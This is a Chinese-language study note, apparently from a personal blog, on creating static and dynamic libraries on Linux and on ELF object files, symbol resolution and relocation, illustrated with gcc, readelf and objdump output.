-rw-r--r-- 1 root root 7704 4月 1 10:01 Point.o

可执行文件main.out就生成了

-L指定静态库目录,由于我们的静态库就在当前文件夹,于是-L ./

-l指定静态库名字,会自动在名字前面加上lib,在后面加上.a后缀,于是指定-l point就找到了libpoint.a

动态库的使用

linux上动态库的命令规则libbalabala.so,前缀lib后缀.so

windows上动态库使用比较复杂,不管他了

创建动态库

首先生成目标文件,注意使用-fPIC命令行参数

1
root@deutschball-virtual-machine:/home/deutschball/mydir# g++ -fPIC -c Point.cpp

-fPIC(position independent code)作用是创建==地址无关==代码

与地址无关?

image-20220401115548277

参考博客linux编译动态库 fPIC作用 - feng..liu - 博客园 (cnblogs.com)

然后生成动态链接库

1
2
3
4
5
6
7
8
9
root@deutschball-virtual-machine:/home/deutschball/mydir# g++ -shared -o libpoint.so Point.o
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 60
-rwxr-xr-x 1 root root 18712 4月 1 12:12 libpoint.so
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h
-rw-r--r-- 1 root root 7704 4月 1 12:12 Point.o
-rw-r--r-- 1 root root 16441 4月 1 11:46 Point.s

生成了libpoint.so

到此动态库创建完毕,下面使用动态库

尝试用使用静态库的方法使用动态库

1
2
3
4
5
6
7
8
9
10
11
12
root@deutschball-virtual-machine:/home/deutschball/mydir# g++ main.cpp -L ./ -l point -o main.out
root@deutschball-virtual-machine:/home/deutschball/mydir# ls -l
总用量 80
-rwxr-xr-x 1 root root 18712 4月 1 12:12 libpoint.so
-rw-r--r-- 1 root root 156 4月 1 09:44 main.cpp
-rwxr-xr-x 1 root root 18064 4月 1 12:17 main.out
-rw-r--r-- 1 root root 985 4月 1 09:46 Point.cpp
-rw-r--r-- 1 root root 872 4月 1 09:43 Point.h
-rw-r--r-- 1 root root 7704 4月 1 12:12 Point.o
-rw-r--r-- 1 root root 16441 4月 1 11:46 Point.s
root@deutschball-virtual-machine:/home/deutschball/mydir# ./main.out
./main.out: error while loading shared libraries: libpoint.so: cannot open shared object file: No such file or directory

可以通过编译但是out文件执行出错,说是找不到libpoint.so

==那么动态库到底在哪里呢?==

image-20220401122038391

使用第一种方法,将我们自己编写的动态库放在/usr/lib下面

1
2
3
root@deutschball-virtual-machine:/home/deutschball/mydir# cp libpoint.so /usr/lib
root@deutschball-virtual-machine:/home/deutschball/mydir# ./main.out
A(5,4)

发现可以正常运行了

参考文档

How programs are prepared to run on z/OS

参考博客

https://www.cnblogs.com/skynet/p/3372855.html

https://www.runoob.com/w3cnote/cpp-header.html

目标文件

image-20220509190447711

又称为elf文件

executable and linkable file

ELF文件有三种:

可重定位目标文件.o

共享目标文件.so

可执行目标文件.out

编译器和汇编器生成可重定位目标文件和共享目标文件(.o),连接器生成可执行目标文件(.out)

可重定位目标文件.o

.o文件的结构

image-20220509195158089

一个.c源文件就是一个模块

.c源文件使用编译器和汇编器得到.o可重定位目标文件

readelf命令的使用

对于main.c

1
2
3
4
5
6
int sum(int *a,int n);//在使用其他模块中定义的函数前,要先引用该函数,否则报编译错
int array[2]={1,2};
int main(){
int val=sum(array,2);
return val;
}

使用gcc main.c -Og -c -o main.o将其编译成为可重定位目标文件main.o

下面对main.o使用readelf的一系列命令进行观察

image-20220509193405618

-h打印elf文件头信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 776 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 64 (bytes)
Number of section headers: 13
Section header string table index: 12

1.Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00

image-20220509194647169

魔数,表明本文件类型等基本信息

16进制 7f 45 4c 46 02 01 01
ascii码或意义 DEL符 'E' 'L' 'F' 01表示32位
02表示64位
01表示小端法
02表示大端法
ELF版本号
通常为1

后面9个字节==ELF标准==中无定义,用0填充,和前面的7f 45 4c 46 02 01 01凑成16个字节

2.Start of program headers: 0 (bytes into file)

程序头开始位置,对于.o文件来说,它距离可执行还缺链接这一大步,程序头对他来说没意义

3.Start of section headers: 776 (bytes into file)

节头开始时的字节,即本文件的第776字节开始时节头

image-20220510184122775

使用010editor观察,section header table的起始位置是0300h+8=776字节

4.Size of this header: 64 (bytes)

本头(elf文件头)的大小为64字节(16进制表示为0x40)即本elf头部分占用本文件的0到63字节,则下一部分即sections部分从0x40开始

image-20220510184615368

5.Size of section headers: 64 (bytes)

section header table中,每个section表项的大小

6.Number of section headers: 13

section header table中的表项数

5和6合计可以计算出section header table的大小为13*64=832字节

又知道section header table 的起始位置为776(10进制)字节处,加上该部分大小832字节可以计算得到本.o文件总大小为1608

使用wc命令可以验证刚才计算(wordcount统计文件大小(字节数))

1
2
root@Executor:/mnt/c/Users/86135/Desktop/Linker# wc main.o
3 13 1608 main.o

7.Section header string table index: 12

-S打印整个section header table表信息

表头 Name Type Address Offset Size EntSize Flags Link Info Align
含义 节名 节类型 在本文件中的偏移量 节大小
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
There are 13 section headers, starting at offset 0x308:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000000000 00000040
000000000000001e 0000000000000000 AX 0 0 1
[ 2] .rela.text RELA 0000000000000000 00000250
0000000000000030 0000000000000018 I 10 1 8
[ 3] .data PROGBITS 0000000000000000 00000060
0000000000000008 0000000000000000 WA 0 0 8
[ 4] .bss NOBITS 0000000000000000 00000068
0000000000000000 0000000000000000 WA 0 0 1
[ 5] .comment PROGBITS 0000000000000000 00000068
000000000000002c 0000000000000001 MS 0 0 1
[ 6] .note.GNU-stack PROGBITS 0000000000000000 00000094
0000000000000000 0000000000000000 0 0 1
[ 7] .note.gnu.propert NOTE 0000000000000000 00000098
0000000000000020 0000000000000000 A 0 0 8
[ 8] .eh_frame PROGBITS 0000000000000000 000000b8
0000000000000030 0000000000000000 A 0 0 8
[ 9] .rela.eh_frame RELA 0000000000000000 00000280
0000000000000018 0000000000000018 I 10 8 8
[10] .symtab SYMTAB 0000000000000000 000000e8
0000000000000138 0000000000000018 11 9 8
[11] .strtab STRTAB 0000000000000000 00000220
000000000000002d 0000000000000000 0 0 1
[12] .shstrtab STRTAB 0000000000000000 00000298
000000000000006c 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
l (large), p (processor specific)

.text节为例子

1
2
[ 1] .text             PROGBITS         0000000000000000  00000040
000000000000001e 0000000000000000 AX 0 0 1

Offset=0x40即本节在本文件中的0x40位置,又elfheader占用了前64个字节(0~0x3F),因此.text节是紧接着elfheader存放的,大小为0x1e=30字节

那么下一个节的起始位置就应该是0x40+0x1e=0x5e

然而下一个节.dataOffset=0x60

1
2
[ 3] .data             PROGBITS         0000000000000000  00000060
0000000000000008 0000000000000000 WA 0 0 8;Align对齐为8

用010editor观察发现0x5e和0x5f全是0,估计是考虑了对齐的原因

image-20220510201200464

用objdump -s观察

1
2
3
4
5
6
Contents of section .text:
0000 f30f1efa 4883ec08 be020000 00488d3d ....H........H.=
0010 00000000 e8000000 004883c4 08c3 .........H....
Contents of section .data:
0000 01000000 02000000 ........
如果0x5e和0x5f是.data的前两个字符,合计应该是10个字节,而readelf统计的data区大小为8字节

可以断定0x5e0x5f0是对齐方式导致的

观察某一节

只需要在参数上指定该节的首字符,比如要观察.rel开头的节

1
2
3
4
5
6
7
8
9
10
root@Executor:/mnt/c/Users/86135/Desktop/Linker# readelf -r main.o

Relocation section '.rela.text' at offset 0x2f0 contains 2 entries:
Offset Info Type Sym. Value Sym. Name + Addend
000000000016 000700000002 R_X86_64_PC32 0000000000000000 .rodata - 4
000000000020 001100000004 R_X86_64_PLT32 0000000000000000 printf - 4

Relocation section '.rela.eh_frame' at offset 0x320 contains 1 entry:
Offset Info Type Sym. Value Sym. Name + Addend
000000000020 000200000002 R_X86_64_PC32 0000000000000000 .text + 0

观察符号表节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@Executor:/mnt/c/Users/86135/Desktop/Linker# readelf -s main.o

Symbol table '.symtab' contains 18 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS main.c
2: 0000000000000000 0 SECTION LOCAL DEFAULT 1
3: 0000000000000000 0 SECTION LOCAL DEFAULT 3
4: 0000000000000000 0 SECTION LOCAL DEFAULT 4
5: 0000000000000004 4 OBJECT LOCAL DEFAULT 3 c
6: 0000000000000000 4 OBJECT LOCAL DEFAULT 4 d
7: 0000000000000000 0 SECTION LOCAL DEFAULT 5
8: 0000000000000008 4 OBJECT LOCAL DEFAULT 3 f.2320
9: 0000000000000000 0 SECTION LOCAL DEFAULT 7
10: 0000000000000000 0 SECTION LOCAL DEFAULT 8
11: 0000000000000000 0 SECTION LOCAL DEFAULT 9
12: 0000000000000000 0 SECTION LOCAL DEFAULT 6
13: 0000000000000000 4 OBJECT GLOBAL DEFAULT 3 a
14: 0000000000000004 4 OBJECT GLOBAL DEFAULT COM b
15: 0000000000000000 43 FUNC GLOBAL DEFAULT 1 main
16: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND _GLOBAL_OFFSET_TABLE_
17: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND printf

可重定位目标文件的常用节

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int a=10;
int b;
static int c=20;
static int d;
int main(){
int e=30;
static int f=40;
printf("helloworld");

return 0;
}

.text

存放指令

使用objdump -d main.o可以观察.text的反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

main.o: file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <main>:
0: f3 0f 1e fa endbr64
4: 55 push %rbp
5: 48 89 e5 mov %rsp,%rbp
8: 48 83 ec 10 sub $0x10,%rsp
c: c7 45 fc 1e 00 00 00 movl $0x1e,-0x4(%rbp)
13: 48 8d 3d 00 00 00 00 lea 0x0(%rip),%rdi # 1a <main+0x1a>
1a: b8 00 00 00 00 mov $0x0,%eax
1f: e8 00 00 00 00 callq 24 <main+0x24>
24: b8 00 00 00 00 mov $0x0,%eax
29: c9 leaveq
2a: c3 retq

.data

1
2
[ 1] .text             PROGBITS         0000000000000000  00000040
000000000000001e 0000000000000000 AX 0 0 1

存放已经初始化(且不为零)的全局变量或者局部变量

image-20220510203006548

如图被data节表管理的data节中只有10,20,40这三个已经赋值的全局或者静态变量

.bss

1
2
[ 4] .bss              NOBITS           0000000000000000  00000068
0000000000000000 0000000000000000 WA 0 0 1

该部分只有一个节表表项,在节中实际不存在,只是起一个占位符的作用

未初始化的静态变量或者初始化为0的全局或静态变量,当程序运行时才会给bss变量在内存分配空间并赋值0

COMMON存放未初始化的全局变量,这和链接有关

.rodata

printf要打印的字符串字面值就存放在该区域

image-20220510203554082

.rel开头的节及其他节

.rel的节和重定位有关

image-20220510203810791

链接依赖于符号.symtab节管理符号

.symtab

main.c

1
2
3
4
5
6
int sum(int,int);
int main(){
int a=5;
int b=4;
int c=sum(a,b);
}

sum.c

1
2
3
int sum(int a,int b){
return a+b;
}

只将main.c编译成main.o可重定位目标

1
gcc main.c -Og -c -o main.o

然后readelf -s观察符号表节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@Executor:/mnt/c/Users/86135/Desktop/Linker# readelf -s main.o

Symbol table '.symtab' contains 12 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FILE LOCAL DEFAULT ABS main.c
2: 0000000000000000 0 SECTION LOCAL DEFAULT 1
3: 0000000000000000 0 SECTION LOCAL DEFAULT 3
4: 0000000000000000 0 SECTION LOCAL DEFAULT 4
5: 0000000000000000 0 SECTION LOCAL DEFAULT 6
6: 0000000000000000 0 SECTION LOCAL DEFAULT 7
7: 0000000000000000 0 SECTION LOCAL DEFAULT 8
8: 0000000000000000 0 SECTION LOCAL DEFAULT 5
9: 0000000000000000 33 FUNC GLOBAL DEFAULT 1 main
10: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND _GLOBAL_OFFSET_TABLE_
11: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND sum
项目 Num Value Size Type Bind Vis Ndx Name
意义 编号 符号在其所在节中,举例节首地址的偏移量 大小 类型(函数/对象等等) 属性,本地还是全局 section节索引,在section header table中确定 名称,这个字符串名称放在.strtab节中

Ndx中的值是该符号在本文件中的哪一节,UND则为本模块中引用的其他模块的符号

符号和符号表

.o目标模块都有一共符号表,其中包含该目标模块中定义和引用的符号信息

对于连接器来说有三种符号

1.本模块定义的全局符号,对其他模块可见

2.其他模块定义的全局符号,对本模块可见

3.本模块定义的静态符号,只对本模块可见

static的作用类似于java中的private或者protected,而全局变量则相当于public修饰

函数栈中的局部变量不会出现在符号表中,其符号由堆栈维护,或者说不需要符号.

每个符号都属于一个节

比如函数就属于text节,已初始化且不为0的全局变量属于.data节,未初始化的静态变量属于.bss节等等

只有.o可重定位目标模块中存在的,并且节头表.symtab中没有条目的三个伪节:

.ABS 不该被重定位的符号

.UNDEF 本模块中只有引用没有定义的符号

.COMMON 未初始化的全局变量

注意存放全局变量时,放在.COMMON和.bss的区别,static变量不会涉及链接问题,但是全局变量会

将未初始化的全局变量放到.COMMON,将已初始化为0的全局变量放到.bss,将已初始化不为零的全局变量放在data

这样做的目的和链接时符号的强弱性质有关,这都是后话了

链接形成可执行目标文件之后这三个伪节就不复存在了

符号解析

多个目标文件或者库还有命令行参数构成链接器的输入

连接器在链接时,会给每个引用在其输入的一个模块的符号表中找到与该引用对应的符号定义

关键在于全局符号的引用解析

如果编译器遇到了一个引用并且在本模块中没有找到定义,则编译器会假设其定义在其他模块中,生成一共链接器符号表条目

如果链接器在所有输入的目标模块中都没有找到该引用的定义则报错

1
2
3
4
5
6
7
#include <stdio.h>

void func();//func只是一个引用,在本模块中没有定义
int main(){
func();
return 0;
}

链接报错:

1
2
ghX.o:main.c:(.text+0xe): undefined reference to `func'
collect2.exe: error: ld returned 1 exit status
1
2
3
4
5
6
7
8
#include <stdio.h>

void func();
int main(){
func();
return 0;
}
void func(){}//func在本模块中有定义

此时链接不会发生报错

如果链接器找到了多个定义,则按照下面三条规则处理多重定义符号名

强符号:函数,已初始化的全局变量(data或者bss节)

弱符号:未初始化的全局变量,放在COMMON伪节

int a;这就是一个弱符号

int a=0;这就是一个强符号

image-20220520170252584

因此将全局变量按照是否初始化,被分到common还是data或者bss节

common中符号的在链接时会被作为弱符号

重定位

重定位的两个步骤

1.重定位节

将所有输入的目标文件合并成一个文件,由于每个目标文件都有.data等节,因此需要合并每个目标文件中的相同节,形成一个文件

如此,所有的符号定义相对于该文件都有一个确定的偏移量位置,此时就可以给每个符号一个虚拟内存地址了

2.重定位节中的符号引用

在1中我们已经给每个符号定义确定了一个绝对的虚拟内存地址,但是怎么让该符号的引用也知道应该引用这个绝对的虚拟内存地址?

本步骤就是让所有符号引用都有着落

举个例子,main.c是这样写的:

1
2
3
4
5
6
#include <stdio.h>
void func();//声明一个函数符号引用
int main(){
func();
return 0;
}

让编译停止在链接前,此时func函数对于main模块来说还只是一个符号引用,

main.o反汇编之后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\Users\86135\desktop\os\Linker> gcc main.c -O0 -c -o main.o
PS C:\Users\86135\desktop\os\Linker> objdump main.o -d

main.o: file format pe-x86-64


Disassembly of section .text:

0000000000000000 <main>:
0: 55 push %rbp
1: 48 89 e5 mov %rsp,%rbp
4: 48 83 ec 20 sub $0x20,%rsp
8: e8 00 00 00 00 callq d <main+0xd>
d: e8 00 00 00 00 callq 12 <main+0x12>
12: b8 00 00 00 00 mov $0x0,%eax
17: 48 83 c4 20 add $0x20,%rsp
1b: 5d pop %rbp
1c: c3 retq
1d: 90 nop
1e: 90 nop
1f: 90 nop

发现反汇编的代码中并没有出现func函数的影子,并且有两条很诡异的call指令

1
2
8:   e8 00 00 00 00          callq  d <main+0xd>
d: e8 00 00 00 00 callq 12 <main+0x12>

明明就在本函数之中,却还要call一下

这样写的原因是,目前本模块并不知道func的地址,因此指令中根本没法写calle8 00 00 00 00这里后面8个0就是未知地址,e8是只是call指令的操作码

这里写了两个不明所以的call指令,原因是,上面这个8: e8 00 00 00 00 callq d <main+0xd>在链接后调用的是__main函数,作用是进行一些初始化

1
2
3
4
5
6
7
8
9
10
11
0000000000401650 <__main>:
401650: 8b 05 da 59 00 00 mov 0x59da(%rip),%eax # 407030 <initialized>
401656: 85 c0 test %eax,%eax
401658: 74 06 je 401660 <__main+0x10>
40165a: c3 retq
40165b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
401660: c7 05 c6 59 00 00 01 movl $0x1,0x59c6(%rip) # 407030 <initialized>
401667: 00 00 00
40166a: e9 71 ff ff ff jmpq 4015e0 <__do_global_ctors>
40166f: 90 nop
...

下面这个才是call func,调用func函数

1
2
3
4
5
6
7
8
9
10
11
12
13
0000000000401560 <main>:
401560: 55 push %rbp
401561: 48 89 e5 mov %rsp,%rbp
401564: 48 83 ec 20 sub $0x20,%rsp
401568: e8 e3 00 00 00 callq 401650 <__main>
40156d: e8 0e 00 00 00 callq 401580 <func>
401572: b8 00 00 00 00 mov $0x0,%eax
401577: 48 83 c4 20 add $0x20,%rsp
40157b: 5d pop %rbp
40157c: c3 retq
40157d: 90 nop
40157e: 90 nop
40157f: 90 nop

链接器依赖可重定位模块(.o)中的重定位条目实现该步骤

重定位条目

汇编器在遇到一个本模块中没有定义的符号引用时,就会为该符号引用创建一个重定位条目

代码的重定位条目存放在.rel.text节中

已初始化数据的重定位条目存放在.rel.data节中

重定位条目结构定义:

image-20220525095006902

offset:引用的节偏移量

type:重定位类型(着重关心其中的两种)

symbol:符号表的下标

addend:修正参数

R_X86_64_PC32重定位一个使用32位PC相对地址的引用

PC相对地址:某地址与当前PC值的距离

32位相对地址加上当前PC值得到有效地址

1
2
3
4
5
6
7
8
9
10
11
12
13
0000000000001139 <func>:
1139: 48 83 ec 08 sub $0x8,%rsp
113d: 48 8d 3d c0 0e 00 00 lea 0xec0(%rip),%rdi # 2004 <_IO_stdin_used+0x4>
1144: b8 00 00 00 00 mov $0x0,%eax
1149: e8 e2 fe ff ff call 1030 <printf@plt>
114e: 48 83 c4 08 add $0x8,%rsp
1152: c3 ret

0000000000001153 <main>:
1153: 48 83 ec 08 sub $0x8,%rsp
1157: b8 00 00 00 00 mov $0x0,%eax
115c: e8 d8 ff ff ff call 1139 <func>
1161: b8 00 00 00 00 mov $0x0,%eax

比如当执行115c处的115c: e8 d8 ff ff ff call 1139 <func>

此时程序计数器指向下一条指令PC=0x1161

操作码e8表示call

相对地址d8 ff ff ff按照小端模式存放,写成16进制数应该为0xff ff ff d8=-40=-0x28

PC加上相对地址即0x1161-0x28=0x1139恰好为0000000000001139 <func>:的首条指令的地址

R_x86_64_32重定位一个使用32位绝对地址的引用

绝对寻址,直接在指令编码中给出有效地址

重定位算法
image-20220527115221609

重定位算法也是比较容易理解的,

说了一个啥事呢?

现在各个模块的text合并成一个text节,所有符号都有一个重定位条目,记录了自己在本节中的偏移量(相对于节基地址的位置)

然后本节中的一个符号想要找另一个符号的位置

这就相当鱼一个数组arr中,要计算arr[20]arr[200]的举例,直接用200-20=180,这里下标就是数组元素相对于数组基地址的偏移量

数组就相当于这一整个text节,元素相当于text节中的一个符号,下标相当于该符号相对于text

所有引用符号重定位之后,此时所有引用,所有符号 都有址可循,链接完全完成,形成可执行目标文件.out

可执行目标文件.out

可执行目标文件通常以.out作为拓展名,或者根本就不写拓展名,反正linux上对拓展名没有windows上那么严格

文件视图

完全链接之后,所有的目标模块都融洽地形成一个可执行目标文件,原来每个目标模块中都有text,data等节,在可执行目标文件中,每种节有且只有一个

可执行目标文件的格式:

image-20220525095816498

ELF头从0开始,这并不意味着ELF在真正执行的时候,起运行地址空间从0开始.

.init节是一个小型的代码段,里面就一个小函数_init作用是进行一些初始化,具体初始化了啥我不知道,也不是学这一部分所应关心的重点

用010editor elf模板观察一个可执行目标文件

image-20220525143339664

elf_header的作用和.o可重定位目标模块中的类似,作用是声明ELF魔数,规定后续各部分的偏移量和大小

program_header程序头

作用是规定

1.各节在本可执行目标文件中的偏移,

2.虚拟内存地址,

3.对齐要求,

4.本目标文件中的段大小,

5.实际执行时内存中的段大小,

6.运行时的读写执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
┌──(kali㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─$ objdump -h prog

prog: file format elf64-x86-64

Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001c 0000000000000318 0000000000000318 00000318 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.property 00000020 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.gnu.build-id 00000024 0000000000000358 0000000000000358 00000358 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.ABI-tag 00000020 000000000000037c 000000000000037c 0000037c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 00000024 00000000000003a0 00000000000003a0 000003a0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000090 00000000000003c8 00000000000003c8 000003c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 0000007d 0000000000000458 0000000000000458 00000458 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 0000000c 00000000000004d6 00000000000004d6 000004d6 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000020 00000000000004e8 00000000000004e8 000004e8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 000000c0 0000000000000508 0000000000000508 00000508 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .init 00000017 0000000000001000 0000000000001000 00001000 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .plt 00000010 0000000000001020 0000000000001020 00001020 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt.got 00000008 0000000000001030 0000000000001030 00001030 2**3
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00000171 0000000000001040 0000000000001040 00001040 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000009 00000000000011b4 00000000000011b4 000011b4 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000004 0000000000002000 0000000000002000 00002000 2**2
0000000000003e20 00002e20 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 000001b0 0000000000003e28 0000000000003e28 00002e28 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 00000028 0000000000003fd8 0000000000003fd8 00002fd8 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .got.plt 00000018 0000000000004000 0000000000004000 00003000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .data 00000010 0000000000004018 0000000000004018 00003018 2**3
CONTENTS, ALLOC, LOAD, DATA
24 .bss 00000008 0000000000004028 0000000000004028 00003028 2**0
ALLOC
25 .comment 0000001f 0000000000000000 0000000000000000 00003028 2**0
CONTENTS, READONLY

运行视图

shell上,./prog命令即可加载并执行可执行目标文件prog

实际上是shell调用execve函数来调用加载器,加载器是操作系统的组成部分.

加载器把prog的所有代码和数据从磁盘拷贝到内存,然后跳转到程序的第一条指令,然后控制转移到该程序,程序执行.这个过程叫做加载

至于加载器究竟干了啥,我不知道,现在也不想知道

加载完成后,程序在内存中的映像图是这样的

image-20220525145002132

其中忽略了一些无关紧要的信息,比如

1.各段都有自己的对齐要求,但是图上都画的紧挨着.实际上有可能"相邻"两段之间有一些没有意义的空隙,当程序错误执行到这些空当时就会触发段错误

2.没有表现出地址空间布局随机化.ASLR的作用是对抗pwn攻击的,在做一些简单的pwn题目时,一个变量,一个函数的地址都是确定的,使用ida打开看到了,那么就可以确定下一次运行时那个函数,那个变量还是在那个位置.而开启ASLR之后每次运行,同一个变量会有不同的地址.

但是仍然可以确定的是,两个变量,变量和函数,函数之间的相对位置都是不变的,就相当于把整个村从城南搬到城北,李四还是知道张三住哪里,走多远到张三家

运行时视图没有"section"这种说法了,类似的概念叫"segment"

比如只读代码段(由原来的.init,.text,.rodata节组成)

性质类似的节(比如只读数据和代码都不可执行,合并到一个段

段也有类似于节的属性,比如读写执行权限

如果企图在只读代码段修改或写入东西

或者在开启了NX保护(堆栈不可执行)之后在堆栈上写shellcoderet2shellcode

都会引起段错误

库文件.a & .so

CSAPP中将静态库放在静态链接讲完之后,动态链接开始讲之前.

但实际上讲动态链接时并没有涉及到静态库.

现在改变一下思路把静态库和动态库这两种库文件放在一起阐述

源头之"争"

去年的历史遗留问题

1.在大一学习c语言时我们就知道,如果要使用printfscanf函数,必须#include <stdio.h>,

如果使用srand(time(0)),其中的time(0)要求#include <time.h>

然而实际上去观察一下<stdio.h>这种.h头文件,其中并没有函数的实现,只有函数的接口.那#include <xxx.h>的目的是啥呢?

2.在大二上学习C++时,函数,类的定义和声明分别写在源还是头文件中,给我们带来了巨大麻烦

头文件既然妹有写实现,源文件中声明和实现相当于都有,那么头文件还有存在的意义吗?难道是只写接口看起来干净整洁好看吗?

非也

头文件提供一个引用

啥意思呢?下面以一个例子说明,在这个例子中虽然不涉及头文件,但是实际上包括了头文件要做的事

注意一些文字游戏

"定义"和"实现"是一个说法,都是带函数体的函数,比如int func(){/*花括号里是函数体*/}

"声明"和"接口"是一个说法,都是不带函数体,只有一个函数声明,比如int func();//分号结尾,妹有函数体

考虑这么一个程序main.c

1
2
3
4
int main(){
int a=func();
return 0;
}

main.c中,func函数既没有定义也没有实现,直接在main函数中调用

现在我们把编译和链接分别执行

编译阶段

1
2
3
4
5
6
7
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.c -c -o main
main.c: In function ‘main’:
main.c:3:11: warning: implicit declaration of function ‘func’ [-Wimplicit-function-declaration]
3 | int a=func();
| ^~~~

这里报了一个警告,意思是func没有直接言明

编译器很懵逼,func是个啥啊,你妹有定义实现也就罢了,竟然连声明都不打招呼,

上来就用,玩意func有参数,万一func根本就不是函数,是个变量咋整?func有没有返回值啊>_<,返回啥类型值啊?

我编译器只能联系上下文,按照func是一个返回int的无参函数来编译了

链接器你就自求多福吧,我摆烂了

那么怎么才能让编译器知道关于func的信息呢?在使用之前声明一下这个函数接口

1
2
3
4
5
int func();
int main(){
int a=func();
return 0;
}

此时编译就妹有警告了,这意味着编译器此时已经非常自信地认为自己的工作很perfect

链接阶段

链接的作用是给每个引用都找到实现,让所有悬而未决的议案落地

在同文件夹下有一个func.c,其中有func()函数的实现

1
2
3
int func(){
return 510;
}

此时main.c这样写

1
2
3
4
5
int func();
int main(){
int a=func();
return 0;
}

main.cfunc.c都已经正确经过编译,生成了可重定位目标文件main.ofunc.o

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc func.c -c -o func.o

┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.c -c -o main.o

根据前面章节的学习,main.o中有一个func函数的引用悬而未决,如果要形成main.out,需要让这个引用落地

如果直接写gcc main.o -o main不用想都知道会报错

1
2
3
4
5
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.o -o main
/usr/bin/ld: main.o: in function `main':
main.c:(.text+0xe): undefined reference to `func'
collect2: error: ld returned 1 exit status

链接器报错:func引用未定义

考虑如下场景

image-20220525165401741

这里printf未定义的报错是不是和刚才func妹有定义的报错是同一种错误?

给gcc怎样传递命令行参数,才能不让链接器报错呢?

1
2
┌──(root㉿Executor)-[/mnt/c/Users/86135/Desktop/linkage]
└─# gcc main.o func.o -o main

这句话的意思是,将main.ofunc.o进行链接,(如果妹有链接错误的话)形成可执行目标文件main

整个过程

现在考虑编译到链接整个过程,怎样才能不报错不报警告?

1.编译时引用要提前声明一下

2.链接时要包含所有引用实现的模块

回到源头之"争"

#include <stdio.h>是一条宏定义,在预编译阶段会被展开,也就是将stdio.h中的所有东西都加在main.c的一开始,形成main.i

main.i实际上还是ASCII文本文档,和main.c几乎妹有区别

还记得<stdio.h>中都是写的啥吗?函数声明

那么main.i是个啥?

一伙子函数引用+我们自己写的main函数,

which调用了printf,

which在前面一伙子函数引用中有一席之地.

可见<stdio.h>帮我们完成了声明函数引用的工作.

为什么要用一个头文件来做这个工作?我们程序员是傻吗?自己声明一个printf的引用不行吗?

